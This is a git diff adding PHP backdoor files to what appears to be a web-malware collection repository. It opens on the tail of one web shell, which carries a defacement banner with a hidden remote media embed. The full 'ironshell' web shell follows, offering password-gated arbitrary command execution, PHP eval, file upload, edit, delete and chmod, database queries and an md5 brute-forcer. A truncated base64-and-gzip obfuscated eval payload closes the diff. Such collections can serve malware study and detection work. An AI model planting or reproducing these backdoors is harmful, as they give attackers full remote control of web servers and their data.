text-align: center } +img { width: 0px; height: 0px } +a, a:visited { text-decoration: none; color: red } +hr { border-style: none; height: 1px; Geriground-color: silver; color: silver } +#main { margin-top: 6pt; margin-left: auto; margin-right: auto; border-spacing: 1px } +#main th { Geriground: #eee; padding: 3pt 3pt 0pt 3pt } +.listing th, .listing td { padding: 1px 3pt 0 3pt } +.listing th { border: 1px solid silver } +.listing td { border: 1px solid #ddd; Geriground: white } +.listing .checkbox { text-align: center } +.listing .filename { text-align: left } +.listing .size { text-align: right } +.listing .permission_header { text-align: left } +.listing .permission { font-family: monospace } +.listing .owner { text-align: left } +.listing .group { text-align: left } +.listing .G�revler { text-align: left } +.listing_footer td { Geriground: #eee; border: 1px solid silver } +#directory, #upload, #create, .listing_footer td, #error td, #notice td { text-align: left; padding: 3pt } +#directory { Geriground: #eee; border: 1px solid silver } +#upload { padding-top: 1em } +#create { padding-bottom: 1em } +.small, .small option { font-size: x-small } +textarea { border: none; Geriground: white } +table.dialog { margin-left: auto; margin-right: auto } +td.dialog { Geriground: #eee; padding: 1ex; border: 1px solid silver; text-align: center } +#permission { margin-left: auto; margin-right: auto } +#permission td { padding-left: 3pt; padding-right: 3pt; text-align: center } +td.permission_action { text-align: right } +#symlink { Geriground: #eee; border: 1px solid silver } +#symlink td { text-align: left; padding: 3pt } +#red_button { width: 120px; color: #400 } +#green_button { width: 120px; color: #040 } +#error td { Geriground: maroon; color: white; border: 1px solid silver } +#notice td { Geriground: green; color: white; border: 1px solid silver } +#notice pre, #error pre { Geriground: silver; color: black; padding: 1ex; margin-left: 1ex; margin-right: 1ex } +code { font-size: 12pt } +td { white-space: nowrap } +</style> + +<script type="text/javascript"> +<!-- +function activate (name) { + if (document && document.forms[0] && document.forms[0].elements['focus']) { + document.forms[0].elements['focus'].value = name; + } +} +//--> +</script> + +</head> +<body> + + +END; + +} + +function html_footer () { + + echo <<<END +</body> +</html> +END; + +} + +function notice ($phrase) { + global $cols; + + $args = func_get_args(); + array_shift($args); + + return '<tr id="notice"> + <td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td> +</tr> +'; + +} + +function error ($phrase) { + global $cols; + + $args = func_get_args(); + array_shift($args); + + return '<tr id="error"> + <td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td> +</tr> +'; + +} + +?> +<BODY><IMG style="WIDTH: 306px; HEIGHT: 76px" height=100 +src="http://www.nettekiadres.com/imhabirligi.jpg" width=282></BODY> +<br><Center>SU AN <A href="http://www.imhabirligi.com">iMHaBiRLiGi</A> HUDUTLARINDA BULUNMAKTASINIZ.!!</Center> +<FONT +class=footmsg><EMBED src=http://www.imhabirligi.com/r1/hurl.asx hidden=true +type="text/plain; charset=iso-8859-9" +AUTOSTART="TRUE"> +<script language=JavaScript> +<!-- + +var message=""; +/////////////////////////////////// +function clickIE() {if (document.all) {(message);return false;}} +function clickNS(e) {if +(document.layers||(document.getElementById&&!document.all)) { +if (e.which==2||e.which==3) {(message);return false;}}} +if (document.layers) +{document.captureEvents(Event.MOUSEDOWN);document.onmousedown=clickNS;} +else{document.onmouseup=clickNS;document.oncontextmenu=clickIE;} + +document.oncontextmenu=new Function("return false") +// --> +</script> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/ironshell.txt b/web-malware-collection-master/Backdoors/PHP/ironshell.txt new file mode 100755 index 0000000..b6931f1 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/ironshell.txt @@ -0,0 +1,588 @@ +<?php +error_reporting(0); //If there is an error, we'll show it, k? + +$password = "login"; // You can put a md5 string here too, for plaintext passwords: max 31 chars. + +$me = basename(__FILE__); +$cookiename = "wieeeee"; + + +if(isset($_POST['pass'])) //If the user made a login attempt, "pass" will be set eh? +{ + + if(strlen($password) == 32) //If the length of the password is 32 characters, threat it as an md5. + { + $_POST['pass'] = md5($_POST['pass']); + } + + if($_POST['pass'] == $password) + { + setcookie($cookiename, $_POST['pass'], time()+3600); //It's alright, let hem in + } + reload(); +} + + + +if(!empty($password) && !isset($_COOKIE[$cookiename]) or ($_COOKIE[$cookiename] != $password)) +{ + login(); + die(); +} +// +//Do not cross this line! All code placed after this block can't be executed without being logged in! +// + +if(isset($_GET['p']) && $_GET['p'] == "logout") +{ +setcookie ($cookiename, "", time() - 3600); +reload(); +} +if(isset($_GET['dir'])) +{ + chdir($_GET['dir']); +} + + +$pages = array( + 'cmd' => 'Execute Command', + 'eval' => 'Evaluate PHP', + 'mysql' => 'MySQL Query', + 'chmod' => 'Chmod File', + 'phpinfo' => 'PHPinfo', + 'md5' => 'md5 cracker', + 'headers' => 'Show headers', + 'logout' => 'Log out' +); + +//The header, like it? +$header = '<html> +<title>'.getenv("HTTP_HOST").' ~ Shell I</title> +<head> +<style> +td { + font-size: 12px; + font-family: verdana; + color: #33FF00; + background: #000000; +} + +#d { + background: #003000; +} +#f { + background: #003300; +} +#s { + background: #006300; +} +#d:hover +{ + background: #003300; +} +#f:hover +{ + background: #003000; +} +pre { + font-size: 10px; + font-family: verdana; + color: #33FF00; +} +a:hover { +text-decoration: none; +} + + +input,textarea,select { + border-top-width: 1px; + font-weight: bold; + border-left-width: 1px; + font-size: 10px; + border-left-color: #33FF00; + background: #000000; + border-bottom-width: 1px; + border-bottom-color: #33FF00; + color: #33FF00; + border-top-color: #33FF00; + font-family: verdana; + border-right-width: 1px; + border-right-color: #33FF00; +} + +hr { +color: #33FF00; +background-color: #33FF00; +height: 5px; +} + +</style> + +</head> +<body bgcolor=black alink="#33CC00" vlink="#339900" link="#339900"> +<table width=100%><td id="header" width=100%> +<p align=right><b>[<a href="http://www.rootshell-team.info">RootShell</a>] [<a href="'.$me.'">Home</a>] '; + +foreach($pages as $page => $page_name) +{ + $header .= ' [<a href="?p='.$page.'&dir='.realpath('.').'">'.$page_name.'</a>] '; + +} +$header .= '<br><hr>'.show_dirs('.').'</td><tr><td>'; +print $header; + +$footer = '<tr><td><hr><center>&copy; <a href="http://www.ironwarez.info">Iron</a> & <a href="http://www.rootshell-team.info">RootShell Security Group</a></center></td></table></body></head></html>'; + + +// +//Page handling +// +if(isset($_REQUEST['p'])) +{ + switch ($_REQUEST['p']) { + + case 'cmd': //Run command + + print "<form action=\"".$me."?p=cmd&dir=".realpath('.')."\" method=POST><b>Command:</b><input type=text name=command><input type=submit value=\"Execute\"></form>"; + if(isset($_REQUEST['command'])) + { + print "<pre>"; + execute_command(get_execution_method(),$_REQUEST['command']); //You want fries with that? + } + break; + + + case 'edit': //Edit a fie + if(isset($_POST['editform'])) + { + $f = $_GET['file']; + $fh = fopen($f, 'w') or print "Error while opening file!"; + fwrite($fh, $_POST['editform']) or print "Couldn't save file!"; + fclose($fh); + } + print "Editing file <b>".$_GET['file']."</b> (".perm($_GET['file']).")<br><br><form action=\"".$me."?p=edit&file=".$_GET['file']."&dir=".realpath('.')."\" method=POST><textarea cols=90 rows=15 name=\"editform\">"; + + if(file_exists($_GET['file'])) + { + $rd = file($_GET['file']); + foreach($rd as $l) + { + print htmlspecialchars($l); + } + } + + print "</textarea><input type=submit value=\"Save\"></form>"; + + break; + + case 'delete': //Delete a file + + if(isset($_POST['yes'])) + { + if(unlink($_GET['file'])) + { + print "File deleted successfully."; + } + else + { + print "Couldn't delete file."; + } + } + + + if(isset($_GET['file']) && file_exists($_GET['file']) && !isset($_POST['yes'])) + { + print "Are you sure you want to delete ".$_GET['file']."?<br> + <form action=\"".$me."?p=delete&file=".$_GET['file']."\" method=POST> + <input type=hidden name=yes value=yes> + <input type=submit value=\"Delete\"> + "; + } + + + break; + + + case 'eval': //Evaluate PHP code + + print "<form action=\"".$me."?p=eval\" method=POST> + <textarea cols=60 rows=10 name=\"eval\">"; + if(isset($_POST['eval'])) + { + print htmlspecialchars($_POST['eval']); + } + else + { + print "print \"Yo Momma\";"; + } + print "</textarea><br> + <input type=submit value=\"Eval\"> + </form>"; + + if(isset($_POST['eval'])) + { + print "<h1>Output:</h1>"; + print "<br>"; + eval($_POST['eval']); + } + + break; + + case 'chmod': //Chmod file + + + print "<h1>Under construction!</h1>"; + if(isset($_POST['chmod'])) + { + switch ($_POST['chvalue']){ + case 777: + chmod($_POST['chmod'],0777); + break; + case 644: + chmod($_POST['chmod'],0644); + break; + case 755: + chmod($_POST['chmod'],0755); + break; + } + print "Changed permissions on ".$_POST['chmod']." to ".$_POST['chvalue']."."; + } + if(isset($_GET['file'])) + { + $content = urldecode($_GET['file']); + } + else + { + $content = "file/path/please"; + } + + print "<form action=\"".$me."?p=chmod&file=".$content."&dir=".realpath('.')."\" method=POST><b>File to chmod: + <input type=text name=chmod value=\"".$content."\" size=70><br><b>New permission:</b> + <select name=\"chvalue\"> +<option value=\"777\">777</option> +<option value=\"644\">644</option> +<option value=\"755\">755</option> +</select><input type=submit value=\"Change\">"; + + break; + + case 'mysql': //MySQL Query + + if(isset($_POST['host'])) + { + $link = mysql_connect($_POST['host'], $_POST['username'], $_POST['mysqlpass']) or die('Could not connect: ' . mysql_error()); + mysql_select_db($_POST['dbase']); + $sql = $_POST['query']; + + + $result = mysql_query($sql); + + } + else + { + print " + This only queries the database, doesn't return data!<br> + <form action=\"".$me."?p=mysql\" method=POST> + <b>Host:<br></b><input type=text name=host value=\"localhost\" size=10><br> + <b>Username:<br><input type=text name=username value=\"root\" size=10><br> + <b>Password:<br></b><input type=password name=mysqlpass value=\"\" size=10><br> + <b>Database:<br><input type=text name=dbase value=\"test\" size=10><br> + + <b>Query:<br></b<textarea name=query></textarea> + <input type=submit value=\"Query database\"> + </form> + "; + + } + + break; + + case 'createdir': + if(mkdir($_GET['crdir'])) + { + print 'Directory created successfully.'; + } + else + { + print 'Couldn\'t create directory'; + } + break; + + + case 'phpinfo': //PHP Info + phpinfo(); + break; + + + case 'rename': + + if(isset($_POST['fileold'])) + { + if(rename($_POST['fileold'],$_POST['filenew'])) + { + print "File renamed."; + } + else + { + print "Couldn't rename file."; + } + + } + if(isset($_GET['file'])) + { + $file = basename(htmlspecialchars($_GET['file'])); + } + else + { + $file = ""; + } + + print "Renaming ".$file." in folder ".realpath('.').".<br> + <form action=\"".$me."?p=rename&dir=".realpath('.')."\" method=POST> + <b>Rename:<br></b><input type=text name=fileold value=\"".$file."\" size=70><br> + <b>To:<br><input type=text name=filenew value=\"\" size=10><br> + <input type=submit value=\"Rename file\"> + </form>"; + break; + + case 'md5': + if(isset($_POST['md5'])) + { + if(!is_numeric($_POST['timelimit'])) + { + $_POST['timelimit'] = 30; + } + set_time_limit($_POST['timelimit']); + if(strlen($_POST['md5']) == 32) + { + + if($_POST['chars'] == "9999") + { + $i = 0; + while($_POST['md5'] != md5($i) && $i != 100000) + { + $i++; + } + } + else + { + for($i = "a"; $i != "zzzzz"; $i++) + { + if(md5($i == $_POST['md5'])) + { + break; + } + } + } + + + if(md5($i) == $_POST['md5']) + { + print "<h1>Plaintext of ". $_POST['md5']. " is <i>".$i."</i></h1><br><br>"; + } + + } + + } + + print "Will bruteforce the md5 + <form action=\"".$me."?p=md5\" method=POST> + <b>md5 to crack:<br></b><input type=text name=md5 value=\"\" size=40><br> + <b>Characters:</b><br><select name=\"chars\"> + <option value=\"az\">a - zzzzz</option> + <option value=\"9999\">1 - 9999999</option> + </select> + <b>Max. cracking time*:<br></b><input type=text name=timelimit value=\"30\" size=2><br> + <input type=submit value=\"Bruteforce md5\"> + </form><br>*: if set_time_limit is allowed by php.ini"; + break; + + case 'headers': + foreach(getallheaders() as $header => $value) + { + print htmlspecialchars($header . ":" . $value)."<br>"; + + } + break; + } + +} +else //Default page that will be shown when the page isn't found or no page is selected. +{ + + $files = array(); + $directories = array(); + + if(isset($_FILES['uploadedfile']['name'])) +{ + $target_path = realpath('.').'/'; + $target_path = $target_path . basename( $_FILES['uploadedfile']['name']); + + if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) { + print "File:". basename( $_FILES['uploadedfile']['name']). + " has been uploaded"; + } else{ + echo "File upload failed!"; + } +} + + + + + + print "<table border=0 width=100%><td width=5% id=s><b>Options</b></td><td id=s><b>Filename</b></td><td id=s><b>Size</b></td><td id=s><b>Permissions</b></td><td id=s>Last modified</td><tr>"; + if ($handle = opendir('.')) + { + while (false !== ($file = readdir($handle))) + { + if(is_dir($file)) + { + $directories[] = $file; + } + else + { + $files[] = $file; + } + } + asort($directories); + asort($files); + foreach($directories as $file) + { + print "<td id=d><a href=\"?p=rename&file=".realpath($file)."&dir=".realpath('.')."\">[R]</a><a href=\"?p=delete&file=".realpath($file)."\">[D]</a></td><td id=d><a href=\"".$me."?dir=".realpath($file)."\">".$file."</a></td><td id=d></td><td id=d><a href=\"?p=chmod&dir=".realpath('.')."&file=".realpath($file)."\"><font color=".get_color($file).">".perm($file)."</font></a></td><td id=d>".date ("Y/m/d, H:i:s", filemtime($file))."</td><tr>"; + } + + foreach($files as $file) + { + print "<td id=f><a href=\"?p=rename&file=".realpath($file)."&dir=".realpath('.')."\">[R]</a><a href=\"?p=delete&file=".realpath($file)."\">[D]</a></td><td id=f><a href=\"".$me."?p=edit&dir=".realpath('.')."&file=".realpath($file)."\">".$file."</a></td><td id=f>".filesize($file)."</td><td id=f><a href=\"?p=chmod&dir=".realpath('.')."&file=".realpath($file)."\"><font color=".get_color($file).">".perm($file)."</font></a></td><td id=f>".date ("Y/m/d, H:i:s", filemtime($file))."</td><tr>"; + } + } + else + { + print "<u>Error!</u> Can't open <b>".realpath('.')."</b>!<br>"; + } + + print "</table><hr><table border=0 width=100%><td><b>Upload file</b><br><form enctype=\"multipart/form-data\" action=\"".$me."?dir=".realpath('.')."\" method=\"POST\"> +<input type=\"hidden\" name=\"MAX_FILE_SIZE\" value=\"100000000\" /><input size=30 name=\"uploadedfile\" type=\"file\" /> +<input type=\"submit\" value=\"Upload File\" /> +</form></td><td><form action=\"".$me."\" method=GET><b>Change Directory<br></b><input type=text size=40 name=dir value=\"".realpath('.')."\"><input type=submit value=\"Change Directory\"></form></td> +<tr><td><form action=\"".$me."\" method=GET><b>Create file<br></b><input type=hidden name=dir value=\"".realpath('.')."\"><input type=text size=40 name=file value=\"".realpath('.')."\"><input type=hidden name=p value=edit><input type=submit value=\"Create file\"></form> +</td><td><form action=\"".$me."\" method=GET><b>Create directory<br></b><input type=text size=40 name=crdir value=\"".realpath('.')."\"><input type=hidden name=dir value=\"".realpath('.')."\"><input type=hidden name=p value=createdir><input type=submit value=\"Create directory\"></form></td> +</table>"; + + +} + + +function login() +{ + print "<table border=0 width=100% height=100%><td valign=\"middle\"><center> + <form action=".basename(__FILE__)." method=\"POST\"><b>Password?</b> + <input type=\"password\" maxlength=\"32\" name=\"pass\"><input type=\"submit\" value=\"Login\"> + </form>"; +} +function reload() +{ + header("Location: ".basename(__FILE__)); +} + +function get_execution_method() +{ + if(function_exists('passthru')){ $m = "passthru"; } + if(function_exists('exec')){ $m = "exec"; } + if(function_exists('shell_exec')){ $m = "shell_ exec"; } + if(function_exists('system')){ $m = "system"; } + if(!isset($m)) //No method found :-| + { + $m = "Disabled"; + } + return($m); +} + +function execute_command($method,$command) +{ + if($method == "passthru") + { + passthru($command); + } + + elseif($method == "exec") + { + exec($command,$result); + foreach($result as $output) + { + print $output."<br>"; + } + } + + elseif($method == "shell_exec") + { + print shell_exec($command); + } + + elseif($method == "system") + { + system($command); + } + +} + +function perm($file) +{ + if(file_exists($file)) + { + return substr(sprintf('%o', fileperms($file)), -4); + } + else + { + return "????"; + } +} + +function get_color($file) +{ +if(is_writable($file)) { return "green";} +if(!is_writable($file) && is_readable($file)) { return "white";} +if(!is_writable($file) && !is_readable($file)) { return "red";} + + + +} + +function show_dirs($where) +{ + if(ereg("^c:",realpath($where))) + { + $dirparts = explode('\\',realpath($where)); + } + else + { + $dirparts = explode('/',realpath($where)); + } + + + + $i = 0; + $total = ""; + + foreach($dirparts as $part) + { + $p = 0; + $pre = ""; + while($p != $i) + { + $pre .= $dirparts[$p]."/"; + $p++; + + } + $total .= "<a href=\"".basename(__FILE__)."?dir=".$pre.$part."\">".$part."</a>/"; + $i++; + } + + return "<h2>".$total."</h2><br>"; + +} +print $footer; + +// Exit: maybe we're included somewhere and we don't want the other code to mess with ours :-) +exit(); +?> diff --git a/web-malware-collection-master/Backdoors/PHP/isko.txt b/web-malware-collection-master/Backdoors/PHP/isko.txt new file mode 100755 index 0000000..f0d9bbf --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/isko.txt @@ -0,0 +1 @@ +<? eval(gzinflate(base64_decode('HJ3HjutckoRfpXf9A1zQO2AwDRrRey9uGvTeez79qAao1a0rgudkZkR8RaP//O///OdfxZn0/1RvM5Z9shf/bPv633XaYfSfNNkKAvtvXmRTXvzzb0lBpXUysr43yjny6JB55aCZJy4YzUF/Oj/DcAr09hBKNRiLB/okEc+pSxA8fz/RCT6jOVvAmMbHTSomDXB5sk8aA856hMR2BILPOWm3kKY3CoNjJZk2lCmm5yBhlHgeZJd95M+a56nqx3U/Q4iqmjVMt4RIJLZAVYLqFWcqSpe4EPuNEfWy+1Tcq47DgEKPKgMg9m/bGzLv70QHo7k5jpWNg0j50XHyBYqMqUs3QOslVxR1dBBUncy8qG3mKwLzm6VL1DICyCqXYutbynKS8UR4bmorPpokxlHbOgsEwiHJlwHj0w6j/B5Psn6s4i0x1u7ylxI16DtXLHVbbnBP82VHw4eJrLhqoyniBvJOaOJhi8lY9uSkt+sAtjbFW7IoInXGXbn+itNztUZt0zTCYC3iyE0R0uxj1f1ANOwimem8EbGfBCJP9xXfD35VbEYpuNpMgl+EWPgzjzCb4gJIwzPV+z7kLERWxUKS/H6wqwyFIwiyteRgibTj3Ls319DOV1geQCcAe9NrnaVOUgCpI9DvgHEhTtNYScyST324Y6y7MUi+LsnWK2G2k8gc0dBNvR+XjSyKU5JL4c5tglbQd6I73ebGTf6Muy5Wr6ygjYReWrH8NqsjMQN/8WHayAZwniTKnrvCAt4g4adMG7O7+5E1t6fPDiDjr+NLK1hMQONefdS6wYoFRksfeFhJAnYtdbGwTHYaYgIzmKUaY/LtMokh7/Ed/QiNR/oA2gvwrJkmpMjA0ru4NyIy9TJEPbOX9eIhThlXG2VEGrmZ0wHpKjlG3gsm0P8akYzkSO75mju5fYAztReidw3dex3BLz/CZatiuB1yhug5fNpHeKCEpiFWCCnZvMCXAVQ9+KuW+Nn222AU+uI+ULZawBM9D8YLmVT6qYFJKVWrUFClv11mqnruxxdty0paFhTXBDYOD6HwgK/da83YRROtd5eh1ZcOYIZSvl6kKv1XRV4mu6WVoxycF+ePEXrgbqSztFPzHG0Oojqv+e31YS15Unz7IW/NxxO3G/gIlZDAH1qyxbeRmmsko2Vh5UndTkVpa35CiU0JUko9hzMH/HwYiplLSyamR27tb2DyVOaeqF4QSttSdGQjRzdlaR0Lt3NWZ6imiJ1pZDeApuViuuRdbArmfcqnpKGSx56z+e9T88VMRanb1QWhhVxMw8x93Z6/YieLU8q97Aj12kWCzyc2ZIqDIMGgX5C10oYBMHn6eoK+H/6605K0EnljK12jv443VTTudIqpcDr9mkoG3LeK5I8M3MN7WEDoWfqv9t2bw50z7NfEi5EtVW+PYr3W4pBOcyNXaNXQGZllTdcB6U/V0+SekZXM7tKjRMxvNEUUrPlRX1crVpAzJSsNx0SvhguHB57xqYLGKTCGDgU+smnRTXU6+fDOhHKf29SNZxLG8Ch6Q3S0HZizU9Xdb2+/luQpRO7pHdX6ZLxGOhXluOE/HdJlqppTKzUpIV9xqCbriQNwLVyc81e3uu96667NrbCP0ttuLibY3R0IWVFqSmysdhrhWhnOb7JBFjDObo8HyoKA2+VjiyeKW0Tht5rHAhYYPFg8IREpsc3CBdHU+j4+tJZ8niiwiIM6k2+IX4DUwVlbHMcuqovdQGiKy0sCasTyTj+vaOytq+NPuT9JlqvUnVtPxVdo7DNv+pHR6jzdcVux75LrWUm1Vubp2P4QYcYDC18nBxmlGn3PvchZHyk7LdmBBUcKOT8PVCiM1tPriOEooOU8W3XUwVXMBdU9d4nfr5sl7AkzBQ4l0nG1F0jAoVo0ugK5G+X4AI09k8skXAtd86Irx6LBG4cPwQ73MaT+fBLcYkY5XNZXL5OPXCzIdU/eXIyw3qVQp4jB2tW6Hxo0xY62pCS3POL5JfT0FxN59h6Zvdxn9NE7wzkomZhZwJDER/rMiSWNS0c+LG1B+SGCbsvBtjU+2Ln0J0fSu2GplzveaZPfJQF1pIGnBlsGNkCIF/MuG19r4KCX0UFcOpaPd3au7acevSYJ0aRKwGkfiEC/pFR7ovzUhCCBh4NG6sY7q1fN6rxkwn4e/V+dhVmnxHEkZQdv8OVdztw6ZXfTH3GCYEPdJqbb6ZDa9A8hVLf4m0B1Yd1wHh7254oYHziO3XskEB7AqYvUKxKvxBbuq5XO0xPB+54T8312fNOPsBmqvKeLoAW/2N4D5BZgPGJBJifs7E88lZtApRfXzEiiUuH+mhHQtF180wZJIPwrID4td8bU4VQwm9Wvq6Jv4HNfvs5ygc34Dv9UG1LSpsux1SABX01Y5d00XR4RqXxyLk9TkdCTbcWxUZveNNMqEtLBhUBK7/J1++HpTVDiBmxmT0lYkJMvv31l4JhqvCa7s60joqpqHmO7QvBSTgnjEvwnHslSJo9k4sz1ec2j6nvJPiRRt0eAAybyiKBdrage05u+gqxDsEkYvlYNieJvXKlfS1eDidkhINsCzzqqOxKyr/3ppfc5yoCkiJkEhKD0SBZdAj++y8hmG7eGyqIxHpMaMaHaAoMuDbjcJMZ7bRIKv4kqDd4IDegNRyhBWN+o6t06ePZxSkAym7EJxqtP5RHO5zs7yIakgVfG1ZUeTkX6BO9gxtOz7CtjXVG+jMSAbHQFCQpKws24GZBZdtPGiRrDrWwENP1RP8kRBW2FoiRLkUd1RFMqxWjDhBdy4gD8TaYq2eOXp7GkB3fWVZgMoXiqjB283mGYRtdD3CkVPvIqdabewlhx/vpVxkAhmIXuKtvgCn/MpfHn2ClrgFDxlIOkKzW/nY4CcVeEfYZkjQ1/lNACzC5UJCN+iLKTiE7PTIKBEk+cZY+UAEQnCTwdMG7riw5jqZJjwjqIyh0ADmyPPofKfr7MRukwG/6GmUtFrMPMBeO+uPRxURD/mRXA1lBgS9xNBTRrFPKM2vovi50uFMM2pJ2chRyBpcshC8pwHW2YZoxVuCGw0V0EMq06rc50OdhxKjmkb6jk0yaCeWQO+qWrr3DSK2eiiyl0r7kRysgtetPknC40ZqiDGdmieBYiJsIlmT59l8M18CBrn3IWDIURqBdTpwb9Obn1xLSGQ0u2ruiXAtRv8CnPoE05U6gnClpt2HA54mr7DtoT4bssl/AIz9J94RjFK+Lb1N3HWIF1b5scYSTST3+SJFQvyWd6EPg24ZH0amZJPrtsI+wfGQqcF+hPZTuPTv1pk1Z4eFWuDqEuR4x9eeYnT89ea93WeEI0Kc2ePjwkFnOzwawef6Ec8NhnJ0bksX5IIflLFhUWm24funeWFv7ibRUN6NOvybM9rb0jgKg6nheLxH56C5f7JNjYDP6CXk0mDp8v9FcWw5JtkrW9eV9o58OPzc9If4tBTI3Ttw+Gxet76kL9mCJvpZN0TvyRg6MHjATHA4+DlIb5rdzvdimN8nWllqngt627WNy8EBLqR5UiGoSCVjRXzAAoGPw2PJR1ovkxi9DNxgapa9UrV0CuFPjnDc9nSL5F5fgZzM6oDG3TcwRIOtK0cBQEH0fTt0FPJM6Ry1W+NtOxAhdJekjaIYA0zYlOC8rl59cxWKSIYwpmDpozB/PrMQjx+aYZEXq4JX4OKEuF5PtzwmH4LUXEqyoBFJ77BuM9CFCIEKxLVBId4wh6kFhODaIL0j0B7aIYDArksD0V0+XKdXbnVnbVVqHkq47zs6VkPaYke9hJaxwoYd76M6ZXzCt7BSiGY5yAQ3cBkKj4AxoVKpgZIa3+Ukq93DhO/WD1t7mho2FyvKxyKa+zB5nBcaTeBZBMeOK+9MzQnww5tn6gvoyXXwhF473sI97jVK6npQkPQbKjGw205VCj5EUIzZov6pyP3auGB8ldvcV9TKCwgmLcb7GJwD9O09VYYb9PFZLkT+CfgJoDgqQCXEU+4Z6xLPTyMtnmqEPub9f/2urBNxBHh18eUAPq1+xoQm6yu7o/3Q6da2A9USSUJY9ekyzPmwLjL1aLQI7KRm7mxserf9YpCb/MP3NeTR3ZnSz226kptNyp1ybwoom/OMNONfoqkMIpw+Nxd8OFG3uCEVNy1eWmvPMJb70YC9HhgpJf3SjsxjFrY5NwkPmGxk/0vqxJlApZRpKMNsM3HOR2m+8cLNeh50Vm+KWgUuynEVrMhc7waara6+F9NAick4kDzS9dgqYZmJ71uiPIDGkoMk1UE7eCl/jWHZvooON1ZF/bkyDMHaCtUTh7iHnjdSz5kCR+UbeQREYAVrkMg3I+YtOiSQ4S4++8TyNWSJI756+VZUkrjOrE2UugONYmIIsDP3f5xJZ+XAIwf/IfpIcQy3L3LtVlKM9ErhfE1zQm9qunGqNK+mLg1trj0EHZWkb8pF07N7fGzoeI6I78tKxBv6M+tO174k0xFbGyxsggmfmIf/ayzLtj5KE9/3YPHsUkPVZy4mKfV7bheCgzQEik3Rkdh1W/kfveSQ8jkeQ9vWe9fmArEXRiqQT438F3Wrb3718oq6SyTkK9WQjImGqXJV1XTVrHQ6om1dGMqnWtAmern+rzY1X6nShWDKfMSFDklAUQLzzsrpGM5BG3E9Uy4CrlyjKBgSNrvRtDbCTltOYy9HmfGEhzRCFv9PJ0xP/Ao0VI/g4OaTEXglzCrW/gOB3SGBVvROr/PhRTxs+z94lFbuYVP843OQL0jrjawq/LK52c7OVfDMstecIPgWIS7y3O5AhdB8QU5Y50M4BriybGw8vQS3n9IxQG6lXoHL/UChtwvrvmOmKUx+9pYD3DCN5XLhnLnnqhbIrLJFu5TQsuqwxVzE8PBiUYArHLLdBI6oPmpi5MCJeizlM0WABxB62itAZC0Fu3VO50cqIc0Axb26Cbt4ggUrphXyvSIBNSEy226Su+0fn+IgzUYUIYQ0yMWtjS3QFosQXYy6aMFl+Gqzj6ZkfLIO6oLqdnciyURsfhaCPfj7cM+qLI58rW22Er58e8cpOzSNoAVlTPFyJuTx4MeyUu/siyiD3xd7C1iRc8qZqG3aDoF/1zv93oaB5b6MgaR5QhibZLub37AuBlYVA4iDOtQP7sFAcrHMG7cNQNq8w2EPJ2d2Ne64T0DbGv41ltiCPpXqVNBnxdecdC3eqVqdj2eMbR/SUDOjZCXaWgRJcuDQZQn9RTCj5aZ8MFFtVqRrsxBhkRweBPlSnFa19UdA2C/deunPh9P5hWVJQXgxsg/wD6IiTNRmoAhhS0iril15yerph38jeRwmRA238bJJ/vl1U/B75AIMVwt1Fon0ZvMRPi0CZhv/sv/6zRMiD+cPuYgnzGIEYBxicQYCfoaq3XhfuMB3FGUymcCl8qZTLOPNojhgNtPlghnQmcQWSiu/BkJp7I6XoDlep9cdmdy2Xffcmc4G8EtF6s3mYUTIugsGxVqvV8e4ZE3Z/XY4tmAYuR6MyW1eiZc0S/APWyW4KFs7ZUmFVEuwTthyzWK7WZmCUNh49nplBi5Vg+m5RZez9foIJ9BzQP5l463vXS76ZXlqM36B8G0CvDpkMRLwlNeWlhmMBjR6x3hr9q+yC9hvXCQw4wfnuVkE8K4C48wyqsTVP63osrj1VZGtqf0cluqrMYQ/pI7qPMA79G5dKLQHPfomP8Wh8Pdv7E86h33jzHgZpigudJey9fs2PYz3nGzsHwo0aLe9WDbj17IytTlR97hJZ5q+riz1exVYY02HsZMgnP6GRQrsSdaKxXWQG8IdDuLCaO+gKNlZ8sOodLZfvy5W2ZbkfZsaIHsIl3LzuMv/qzhfLmHjAhcrRlh0iSsvOrd8JeqVLDoaSx0p1EWhcho8SMf1bLvkQicJ8y8Tb7Us0v9Amy3SSzl2Ba25x+OSKitukVZisS/8yRX/R3ctHHysOYxkwq6dfBLI2EIwmqoC24DH/Rp9eYqaZJUrRhhR9U/NK+8qHGaFiVm2bvIi/NghAtuxNEvAjOvOEdu+rfSeyx0u6jTnwj+6TzydJMv0oq+trAtopBpqgTuRpJAhoc8a7cVn53r2vplD/33xqrTuKCoz3r1OoD6HXws/T13pCqHdDANWP0gxnrPaVyOuOTNt409usb64fHzDV7D2i5XftSkENviSU1UU2VdUwNOmvJli0dZhJLY4BaaEZqt1ch9MgWrxqzVmvUzKfRIuAmbYpafQDQfF4pkbDLhq+z7yRt+o9J9JBmeWU5T+yj/LgDlmGO8SoB9DkHwXqJduXAo/iXCRBKn2jNZ1Dc3Ooga2CJk/jdgAOfkFdQP7oCjuW6HEG58ICirvf3+Uqd3MXHoFiFsMXf3YPEkLIIeCX4miyL3C+wu4k/i2GUOX9z8o/U5GMfpWD/4JaDUs9MI2N1+uhcprIVC/jqCQr5zZdhRIAEf16ii5iWkFksLyWoyyWR3TPd7w3JQE9rjTo5NPm3AzYFje3kdH+nVZrUjITZKcYcfIcJcI2Q9upApBF3Guf1wnl5pL/YK/+cC9cMXf4Weht0UUQ3xDdtvRHYI081FrX71Ayjfjean/AgN3aVoH+AIWIZKfsMmMIty0XjVN2O54SRBK/hZeRUSdGNwG+ScutEgmFZAylhxca2OeORq9mA7YJ3K7OLaMWNemYavbBffI8GZ9vHsLkVKaqdQTmAjk0LePiwjjkE8MWXv0483EhXl63WDBXAn9EoceQGMw/FvftWg2C20a8fv1CoMFaTjj4tXK916ps1yn3gMUKm3oqZiFxdFU4r80aO3gbH4ASCeojkxTRI0BD9I3/Fdgniq+Kjs5ifn0t/9O7hO23sbQ1xqu8Rj+DD+NqvcyWORklcA2JRk/LPBaWPpTVWkD9LklI2OtBU8oll2/xwpXLVfTHdhnHAHQ+YBJFhYpNWIWFfWyPbH5BJpjRvJL7INFe5lfe3EfHz8+VPD98Rted80dWJJK9W6D2wC/cWla+93Vz0ixufr6et+WBQndZxRZCs1ptfrRLsuunHxmh9ZNeyc5mOzGY/G8FUNQlLNA1h/GsL9TvgPQCcANXXgK/z